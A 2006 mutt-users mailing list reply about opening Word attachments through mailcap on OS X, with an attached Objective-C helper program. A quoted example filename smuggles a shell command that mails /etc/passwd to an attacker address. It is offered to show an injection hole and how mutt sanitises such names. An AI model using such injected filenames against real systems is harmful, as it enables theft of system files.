Re: word and mutt mailcap (OSX)
* On 2006.03.18, in <20060318171437.GA1166@xxxxxxxxxxxxxxxxxxxxxx>,
* "Phil Pennock" <mutt-users@xxxxxxxxxxxxxxxxx> wrote:
>
> Aside from missing the trailing " to close the string, if the basename
> is being provided from the MIME data then there's a potential security
> hole in this construct. What if $base contains a single-quote, to close
> the quote you provided?
While RFC 1524 does not so specify, it should be the role of the hosting
application to address filename concerns, not of the viewer: it is,
after all, the one *creating* the file. You're correct that a viewer
that does not address filename issues is a potential risk, but it would
be fair to label it a bug in the mailcap application, not in the viewer.
Fortunately mutt handles this correctly.
> Original supplied filename:
> /dev/null'`Mail -s pw evil@xxxxxxxxxxx </etc/passwd`'.txt
becomes /dev/null__Mail_-s_pw_evil@xxxxxxxxxxxxx/etc/passwd__.txt
> If mutt cleans the data to be sure it's safe (I've forgotten), what
> about other programs using mailcap?
Fair enough, but this is mutt-users, not mailcap-users.
> The ideal fix involves not passing the value to the shell, using Perl's
The ideal fix involves not using perl or shell, but I perhaps
incorrectly assumed that someone wanted a working situation as quickly
as possible, not waiting for a developer to come up with an idealized
solution to a one-off problem.
The attached program will handle this equivalently but without issues
for programs other than mutt which use mailcap.
--
-D. dgc@xxxxxxxxxxxx NSIT University of Chicago
# /*
# mimeopen:
# Make a temporary copy of a file and open it, unlinking when
# done.
#
# To compile from shell, "sh mimeopen.m".
target=`basename "${0-mimeopen.m}" .m`
gcc -o $target $target.m \
-framework Foundation \
-framework AppKit
exit 0
# */
#include <stdio.h>
#include <string.h>
#include <errno.h>
#import <Cocoa/Cocoa.h>
main(int argc, char **argv)
{
NSString *file;
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
char *new, *p;
char *A0;
if ((A0 = strrchr(argv[0], '/')))
A0++;
else
A0 = argv[0];
if (argc != 2) {
fprintf(stderr, "usage: %s file_to_open\n", A0);
exit(2);
}
new = malloc(strlen(argv[1]) + 5);
p = strrchr(argv[1], '.');
if (p == NULL) {
/* No extension */
strcpy(new, argv[1]);
strcat(new, "_tmp");
}
else {
int off = (unsigned long)p - (unsigned long)argv[1];
strncpy(new, argv[1], off);
strcpy(&new[off], "_tmp");
strcat(new, p);
}
if (link(argv[1], new) != 0) {
fprintf(stderr, "%s: cannot link \"%s\": %s\n",
A0, argv[1], strerror(errno));
exit (10);
}
if (fork()) {
/* parent */
file = [NSString stringWithCString:argv[1]];
return [[NSWorkspace sharedWorkspace] openTempFile:file];
}
else {
/* child waits a bit then deletes tmp file */
sleep(60);
unlink(new);
exit(0);
}
}